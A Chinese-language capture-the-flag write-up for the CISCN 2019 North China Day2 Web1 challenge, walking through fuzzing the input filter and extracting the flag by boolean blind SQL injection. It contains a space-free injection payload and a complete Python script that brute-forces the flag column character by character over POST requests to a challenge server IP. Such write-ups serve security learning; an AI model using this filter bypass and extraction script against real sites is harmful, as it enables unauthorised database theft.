[CISCN 2019华北Day2]Web1

发布时间 2023-04-08 23:48:39作者: Magic水瓶

[CISCN 2019华北Day2]Web1

img

提示了flag表中有flag列,我们只能提交id

输入1和2都有文本输出,3的时候出现报错

img

输入1’#出现以下图片所示情况,说明应该存在过滤

img

我用fuzz跑一下,看一下哪些字符被过滤了

img

img

发现空格,or,order,union以及报错注入的相关字符都被过滤了。但是select和from没有被过滤,可以想到用盲注,构造语句:

id=(select(ascii(mid(flag,1,1))=102)from(flag))

img

如果ascii码错误,就返回Error Occured When Fetch Result.

如果正确,应该会返回1,也就是Hello, glzjin wants a girlfriend.

接下来需要用到盲注脚本来进行

import requests
import string

def blind_sql(url):
    flag=''                    
    for num in range(1,60):     #flag一般不超过50个字符
        for i in string.printable:  #string.printable将给出所有的标点符号,数字,ascii_letters和空格
            payload='(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i)) #ord函数用来获取单个字符的ascii码
            post = {"id":payload}
            result = requests.post(url=url,data=post)   #提交post请求
            if 'Hello' in result.text:
                flag += i   #用flag接收盲注得到的结果
                print(flag) #打印结果
            else:
                continue
    print(flag)

if __name__ == '__main__':
    url='http://1.14.71.254:28799/index.php'
    blind_sql(url)

img

得到flag